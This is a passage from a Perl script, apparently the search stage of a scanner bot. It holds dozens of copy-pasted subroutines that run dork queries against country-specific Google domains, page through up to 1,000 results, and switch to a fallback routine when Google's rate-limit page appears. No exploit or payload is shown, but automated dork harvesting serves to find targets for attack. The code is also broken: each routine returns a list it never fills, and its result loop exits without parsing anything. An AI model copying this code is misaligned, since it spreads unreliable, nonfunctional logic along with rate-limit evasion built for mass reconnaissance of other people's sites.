my $search = "http://www.google.com.co/search?q=".&setDork($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.co/search?q=".&setDork($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleCU {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.cu/search?q=".&setDork($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.cu/search?q=".&setDork($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleCL {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.cl/search?q=".&setDork($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.cl/search?q=".&setDork($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleMX {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.mx/search?q=".&setDork($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.mx/search?q=".&setDork($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleAU {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.au/search?q=".&setDork($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.au/search?q=".&setDork($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleRU {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.ru/search?q=".&setDork($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.ru/search?q=".&setDork($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleAT {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.at/search?q=".&setDork($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.at/search?q=".&setDork($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googlePL {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.pl/search?q=".&setDork($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.pl/search?q=".&setDork($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleIL {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.il/search?q=".&setDork($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.il/search?q=".&setDork($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleTR {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.tr/search?q=".&setDork($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.tr/search?q=".&setDork($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleUA {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.ua/search?q=".&setDork($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.ua/search?q=".&setDork($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleGR {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.gr/search?q=".&setDork($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.gr/search?q=".&setDork($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleJP {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.jp/search?q=".&setDork($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.jp/search?q=".&setDork($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleCN {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.hk/search?q=".&setDork($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.hk/search?q=".&setDork($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleMY {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.my/search?q=".&setDork($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.my/search?q=".&setDork($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleTH {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.th/search?q=".&setDork($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.th/search?q=".&setDork($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleIN {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.in/search?q=".&setDork($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.in/search?q=".&setDork($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleKR {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.kr/search?q=".&setDork($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.kr/search?q=".&setDork($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleRO {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.ro/search?q=".&setDork($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.ro/search?q=".&setDork($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleTW {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.tw/search?q=".&setDork($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.tw/search?q=".&setDork($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleZA {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.za/search?q=".&setDork($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.za/search?q=".&setDork($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googlePT {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.pt/search?q=".&setDork($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.pt/search?q=".&setDork($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleID {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.id/search?q=".&setDork($key)."&hl=&cr=countryID&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.id/search?q=".&setDork($key)."&hl=&cr=countryID&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleKE {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.ke/search?q=".&setDork($key)."&hl=&cr=countryKE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.ke/search?q=".&setDork($key)."&hl=&cr=countryKE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleEC {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.ec/search?q=".&setDork($key)."&hl=&cr=countryEC&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.ec/search?q=".&setDork($key)."&hl=&cr=countryEC&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleVN {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.vn/search?q=".&setDork($key)."&hl=&cr=countryVN&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.vn/search?q=".&setDork($key)."&hl=&cr=countryVN&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleZM {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.zm/search?q=".&setDork($key)."&hl=&cr=countryZM&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.zm/search?q=".&setDork($key)."&hl=&cr=countryZM&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googlePH {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.ph/search?q=".&setDork($key)."&hl=&cr=countryPH&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.ph/search?q=".&setDork($key)."&hl=&cr=countryPH&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBY {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.by/search?q=".&setDork($key)."&hl=&cr=countryBY&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.by/search?q=".&setDork($key)."&hl=&cr=countryBY&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleSG {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.sg/search?q=".&setDork($key)."&hl=&cr=countrySG&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.sg/search?q=".&setDork($key)."&hl=&cr=countrySG&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBG {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.bg/search?q=".&setDork($key)."&hl=&cr=countryBG&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.bg/search?q=".&setDork($key)."&hl=&cr=countryBG&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleKZ {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.kz/search?q=".&setDork($key)."&hl=&cr=countryKZ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.kz/search?q=".&setDork($key)."&hl=&cr=countryKZ&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleMA {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.co.ma/search?q=".&setDork($key)."&hl=&cr=countryMA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.co.ma/search?q=".&setDork($key)."&hl=&cr=countryMA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleEE {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.ee/search?q=".&setDork($key)."&hl=&cr=countryEE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.ee/search?q=".&setDork($key)."&hl=&cr=countryEE&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleNU {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.nu/search?q=".&setDork($key)."&hl=&cr=countryNU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.nu/search?q=".&setDork($key)."&hl=&cr=countryNU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleLI {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.li/search?q=".&setDork($key)."&hl=&cr=countryLI&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.li/search?q=".&setDork($key)."&hl=&cr=countryLI&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleSA {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.sa/search?q=".&setDork($key)."&hl=&cr=countrySA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.sa/search?q=".&setDork($key)."&hl=&cr=countrySA&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleMU {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.mu/search?q=".&setDork($key)."&hl=&cr=countryMU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.mu/search?q=".&setDork($key)."&hl=&cr=countryMU&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleMK {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.mk/search?q=".&setDork($key)."&hl=&cr=countryMK&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.mk/search?q=".&setDork($key)."&hl=&cr=countryMK&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleAM {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.am/search?q=".&setDork($key)."&hl=&cr=countryAM&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.am/search?q=".&setDork($key)."&hl=&cr=countryAM&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
while($res =~ m/Next\<\/span\>/ig) { last; }
}
sleep(2);
}
return @list;
}
sub googleBO {
my @list;
my $key = $_[0];
for (my $i=0; $i<=1000; $i+=100){
my $search = "http://www.google.com.bo/search?q=".&setDork($key)."&hl=&cr=countryBO&as_qdr=&num=100&filter=&start=".$i."&sa=N";
my $res = &search_engine_query($search);
if($res =~ /HTTP\/1.0 302/) {
if($res =~ /ipv4.google.com\/sorry/ig) {
$res = &silk($key,$dom);
} else {
if($res =~ /Location: http:\/\/www\.(.*?)\/search.*/ig) {
$search = "http://www.google.com.bo/search?q=".&setDork($key)."&hl=&cr=countryBO&as_qdr=&num=100&filter=&start=".$i."&sa=N";
$res = &search_engine_query($search);
}
}
}
if($res) {
